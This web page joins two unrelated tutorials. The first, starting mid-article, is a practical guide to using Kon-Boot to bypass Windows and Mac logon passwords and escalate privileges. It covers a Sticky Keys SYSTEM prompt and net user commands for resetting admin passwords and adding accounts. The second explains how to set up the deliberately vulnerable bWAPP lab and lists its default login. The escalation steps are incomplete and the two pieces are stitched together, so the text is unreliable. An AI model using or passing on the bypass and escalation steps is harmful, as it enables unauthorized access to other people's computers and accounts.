Using Kon-Boot free is easy and you just burn the downloaded ISO file to CD. There is also the possibility to write the image onto a USB flash drive although you don’t use the ISO file to do it. We have covered this procedure in our “Create a Kon-Boot USB Flash Drive” article. Alternatively, if you want a bit more value out of your CD/USB, Kon-Boot is available on the main menu in more recent versions of our favorite bootable repair disc Hiren’s Boot CD.

booting Kon-Boot 1.1

After you Download Kon-Boot  and write it onto CD or USB, simply boot your computer to that device (you will need to set the boot device in the BIOS) and a white screen will popup. Press any key and a black screen will popup showing the process of hooking BIOS functions (the version number 1.0 appears to be an oversight by the developer). After a few more seconds the computer will start to boot normally.

Now when the Logon to Windows screen appears, simply type anything in the password box or leave the password field blank and you’re in! It really is that easy and you simply remove the USB drive or disc so on next reboot Kon-Boot won’t bypass the password again. It is known that not every computer’s BIOS will allow Kon-Boot to work but the majority will be fine if the operating system is compatible.

Kon-Boot Commercial Version

As the free version of Kon-Boot slowly becomes less useful over time because users are moving to 64-bit operating systems or Windows 8, looking at the commercial version is something that begins to make more sense. Currently a personal license for your own use is $15 and for businesses or budding technicians, a commercial license is required at $75. Kon-Boot is now also available for Mac OS X (same price as the Windows version) which allows you to bypass the password or create a new root account to change other user’s passwords.

Kon-boot 2.2 starting up

Besides the 64-bit support and compatibility with Windows 8 (when tested, Windows 8.1 did not work with Kon-Boot 2.2), the commercial version also has better support for systems with a UEFI BIOS when you run Kon-Boot from USB flash drive. If you have a UEFI BIOS, make sure the “Secure Boot” option inside the BIOS is turned off. Kon-Boot is known to not work on domain controllers and it also can’t get past hard drive encryption. In the full Kon-Boot package is a simple installer frontend which gives the options of writing the program to CD or USB (with UEFI support). The ImgBurn burning software is required to burn the ISO file to disc.

Kon-Boot installer utility

Bypassing a password is done the same way as the free version, boot with Kon-Boot and type anything for the password. Kon-Boot paid is also capable of performing privilege escalation which allows you to perform administrative tasks as a non administrative user or Guest. For example, you can boot up the computer with Kon-Boot, log in as a Guest and add a new user or even reset the administrator password! Here’s how it works:

1. Boot the computer with Kon-Boot and select to login as a Guest user or with your standard user account.

2. Open a Command Prompt (Win key+R -> cmd) and type these commands in turn:

copy c:\windows\system32\cmd.exe cmk.exe

If the whoami command result is “nt authority\system”, then you have elevated privileges and can run commands such as “net user”:

net user {admin} newpassword – resets the named admins password
net user /add {user} {password} – creates a new user with optional password

Kon-Boot Privilege Escalation

Another paid version feature is “Sticky keys” which is a type of escalation somewhat similar to the privilege escalation above, but this one allows you to open a Command Prompt with System administrator privileges before any users have logged on. The console window will show on the user selection or password entry screen and will allow you to execute similar commands to the desktop privilege escalation function.

privilege escalation using Kon-Boot sticky keys

To bring up the Command Prompt, all you have to do is boot your computer using Kon-Boot and when you reach user selection or password entry, simply tap the Shift key 5 times in quick succession. The new console window has “Administrator” in the title bar and a path of “C:\Windows\System32” which tells you this is an elevated command prompt. Do note that the Sticky Keys function needs to be enabled in Windows, and it should be on by default unless you have turned it off manually. Sticky Keys escalation also works in Windows XP but privilege escalation does not.

Although the free version of Kon-Boot is losing it’s effectiveness as time progresses and users move away from 32-bit Windows, it’s still a useful tool to have around while XP, and Vista/7 32-bit is still frequently used. It’s a shame Kon-Boot free will probably not receive any more major updates to make it more compatible with newer operating systems, but all good things come to an end eventually.

For pretty much the ultimate in Windows password bypassing that works on 32-bit, 64-bit and UEFI equipped computers, and does so quickly and easily without changing files, cracking or removing current passwords, the paid version of Kon-Boot is well worth looking at.

Web Pentest Lab Setup using bWAPP in Windows 10

bWAPP, or a buggy web application, is a deliberately insecure web application. It helps security enthusiasts, systems engineers, developers and students to discover and to prevent web vulnerabilities. bWAPP prepares one to conduct successful web application penetration testing and ethical hacking projects. It is made for educational purposes.

Some of the vulnerabilities included in bWAPP:

  • SQL, HTML, iFrame, SSI, OS Command, XML, XPath, LDAP and SMTP injections
  • Blind SQL and Blind OS Command injection
  • Bash Shellshock (CGI) and Heartbleed vulnerability (OpenSSL)
  • Cross-Site Scripting (XSS) and Cross-Site Tracing (XST)
  • Cross-Site Request Forgery (CSRF)
  • AJAX and Web Services vulnerabilities (JSON/XML/SOAP/WSDL)
  • Malicious, unrestricted file uploads and backdoor files
  • Authentication, authorization and session management issues
  • Arbitrary file access and directory traversals
  • Local and remote file inclusions (LFI/RFI)
  • Configuration issues: Man-in-the-Middle, cross-domain policy files, information disclosures
  • HTTP parameter pollution and HTTP response splitting
  • Denial-of-Service (DoS) attacks: Slow HTTP and XML Entity Expansion
  • Insecure distcc, FTP, NTP, Samba, SNMP, VNC, WebDAV configurations
  • HTML5 ClickJacking, Cross-Origin Resource Sharing (CORS) and web storage issues
  • Unvalidated redirects and forwards, and cookie poisoning
  • Cookie poisoning and insecure cryptographic storage
  • Server Side Request Forgery (SSRF)
  • XML External Entity attacks (XXE)

Download WAMP server here. Select save or run. Click open. After that follow the next steps.

Next you will see the Select Destination Location screen. Click Next to continue.

Next you will see the Ready to install screen. Click Install to continue.

Once the files are extracted, you will be asked to select your default browser. Select your default browser’s .exe file, then click Open to continue.

Once the progress bar is completely green, the PHP Mail Parameters screen will appear. Leave the SMTP server aslocalhost, and change the email address to one of your choosing. Click Next to continue.

Download the latest version of the Software from the here

Extract BWAPP lab setup in the location” C:\wamp\WWW\bWAPP” as is shown below.

Edit the file ‘admin/settings.php’ with your own database connection settings. Leave blank db_password anddb_name options

Browse to the file ‘install.php’ in the directory ‘bWAPP


Click on ‘here‘ (Click ‘here’ to install bWAPP). The database ‘bWAPP‘ will be created

Again Edit the file ‘admin/settings.php’ and setup the db_name see the screenshot below

Go to the login page. If you browse the bWAPP root folder you will be redirected. http://localhost/bWAPP/

 Login with the default credentials or make a new user.

Default credentials:

User name: bee

Password: bug